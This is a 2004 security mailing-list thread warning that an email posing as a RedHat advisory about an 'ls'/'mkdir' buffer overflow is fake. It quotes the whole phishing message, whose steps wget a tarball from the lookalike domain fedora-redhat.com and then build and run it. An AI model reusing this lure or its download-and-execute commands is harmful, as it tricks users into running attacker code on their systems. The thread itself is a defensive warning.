Re: FAKE: RedHat: Buffer Overflow in "ls" and "mkdir"

[Vincent Archer <var () deny-all com>]

On Sun, Oct 24, 2004 at 07:51:09PM -0400, Harry Hoffman wrote:
> haha, that's pretty funny. If they were going to do something like that 
> it should have at least been in a rpm format.

Considering you can put an executable script inside, if I remember right.

> I'm hoping that this doesn't need to be said but if neither
> "yum check-update || up2date -l" report anything then chances are there
> are no "Official Fedora Updates"
>
> --Harry
>
>
>
> Hugo van der Kooij wrote:
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> > Be advised.
> >
> > The message below is currently going around on internet. Being unsinged
> > was the fist obvious issue. Not pointing to RPM updates, being in a
> > different format and such were among the other reasong to suspect it.
> >
> > Message was send from 'University of Texas at Arlington'.
> >
> > I am sure none of you should be fooled by such a message but other might
> > be.
> >
> > And while it lasts you may want to get the file for your own educational
> > purposes.
> >
> > Hugo.
> > - ---------- Forwarded message ----------
> > Date: Sun, 24 Oct 2004 17:22:20 -0500
> > From: RedHat Security Team <security () redhat com>
> > To: *****************
> > Subject: RedHat: Buffer Overflow in "ls" and "mkdir"
> >
> >
> > [logo_rh_home.png]
> >
> > Original issue date: October 20, 2004
> > Last revised: October 20, 2004
> > Source: RedHat
> >
> > A complete revision history is at the end of this file.
> >
> > Dear RedHat user,
> >
> > Redhat found a vulnerability in fileutils (ls and mkdir), that could
> > allow a remote attacker to execute arbitrary code with root privileges.
> > Some of the affected linux distributions include RedHat 7.2, RedHat 7.3,
> > RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is
> > known that *BSD and Solaris platforms are NOT affected.
> >
> > The RedHat Security Team strongly advises you to immediately apply the
> > fileutils-1.0.6 patch. This is a critical-critical update that you must
> > make by following these steps:
> >
> > *  First download the patch from the Security RedHat mirror: wget
> >    www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz
> > *  Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
> > *  cd fileutils-1.0.6.patch
> > *  make
> > *  ./inst
> >
> > Again, please apply this patch as soon as possible or you risk your
> > system and others` to be compromised.
> >
> > Thank you for your prompt attention to this serious matter,
> >
> > RedHat Security Team.
> >
> > Copyright (C) 2004 Red Hat, Inc. All rights reserved.
> >
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